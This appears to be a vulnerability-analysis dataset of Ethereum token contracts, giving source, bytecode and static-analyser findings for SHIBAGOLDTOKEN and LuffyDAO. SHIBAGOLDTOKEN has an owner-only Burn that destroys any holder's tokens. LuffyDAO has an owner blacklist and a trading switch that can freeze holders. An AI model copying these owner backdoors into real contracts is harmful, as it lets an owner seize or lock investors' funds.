320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220f4e9ada9b3dea328bfb78d6525d8e4672d53cded63b7cc7d6a8ff19d498f68c464736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,509 |
0x8bdd59e827fb05907ddf4b246d74ce24ab75cb24
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract SHIBAGOLDTOKEN is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner1=0xB2793A1C744D892a87825753Ab37aD85C1f569e0;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'SHIBA GOLD TOKEN';
_symbol = 'SHIBAGOLD';
_totalSupply=500000000000000 *(10**decimals());
_balances[owner1]=_totalSupply;
emit Transfer(address(0),owner1,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
modifier onlyOwner(){
require(msg.sender == owner1,"only owner can call this function");
_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063cc16f5db14610198578063dd62ed3e146101ad57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101e6565b6040516100ce91906109c3565b60405180910390f35b6100ea6100e536600461099a565b610278565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a36600461095f565b61028e565b604051601281526020016100ce565b6100ea61013c36600461099a565b610344565b6100fe61014f36600461090c565b6001600160a01b031660009081526020819052604090205490565b6100c161037b565b6100ea61018036600461099a565b61038a565b6100ea61019336600461099a565b610425565b6101ab6101a636600461099a565b610432565b005b6100fe6101bb36600461092d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f590610a45565b80601f016020809104026020016040519081016040528092919081815260200182805461022190610a45565b801561026e5780601f106102435761010080835404028352916020019161026e565b820191906000526020600020905b81548152906001019060200180831161025157829003601f168201915b5050505050905090565b60006102853384846104a4565b50600192915050565b600061029b8484846105c9565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103255760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61033985336103348685610a2e565b6104a4565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610285918590610334908690610a16565b6060600480546101f590610a45565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031c565b61041b33856103348685610a2e565b5060019392505050565b60006102853384846105c9565b6005546001600160a01b031633146104965760405162461bcd60e51b815260206004820152602160248201527f6f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6044820152603760f91b606482015260840161031c565b6104a082826107a1565b5050565b6001600160a01b0383166105065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031c565b6001600160a01b0382166105675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661062d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031c565b6001600160a01b03821661068f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031c565b6001600160a01b038316600090815260208190526040902054818110156107075760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031c565b6107118282610a2e565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610747908490610a16565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079391815260200190565b60405180910390a350505050565b6001600160a01b0382166108015760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161031c565b6001600160a01b038216600090815260208190526040902054818110156108755760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161031c565b61087f8282610a2e565b6001600160a01b038416600090815260208190526040812091909155600280548492906108ad908490610a2e565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016105bc565b80356001600160a01b038116811461090757600080fd5b919050565b60006020828403121561091d578081fd5b610926826108f0565b9392505050565b6000806040838503121561093f578081fd5b610948836108f0565b9150610956602084016108f0565b90509250929050565b600080600060608486031215610973578081fd5b61097c846108f0565b925061098a602085016108f0565b9150604084013590509250925092565b600080604083850312156109ac578182fd5b6109b5836108f0565b946020939093013593505050565b6000602080835283518082850152825b818110156109ef578581018301518582016040015282016109d3565b81811115610a005783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a2957610a29610a80565b500190565b600082821015610a4057610a40610a80565b500390565b600181811c90821680610a5957607f821691505b60208210811415610a7a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220f73e6d612dd519ded2a8156042192eed76d561e7f85d70837456a1cf49d2b75864736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 6,510 |
0xCD897F1036Ad1E56bE576Eb0A742548348cB24E4
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function decimals() external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract LuffyDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LUFFY DAO";
string private constant _symbol = "LDAO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 7000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6FF6bBF862Ac2daa2c8f6E1e54dE995d33ee8F04);
address payable private _donationAddress = payable(0x3eB99677656bBBE01d68deFAF3B0cAE8d0c80A3C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7000000000000 * 10**9;
uint256 public _maxWalletSize = 7000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 7000000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_donationAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_donationAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _donationAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _donationAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function fuckBot(address bots_) public onlyOwner {
bots[bots_] = true;
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
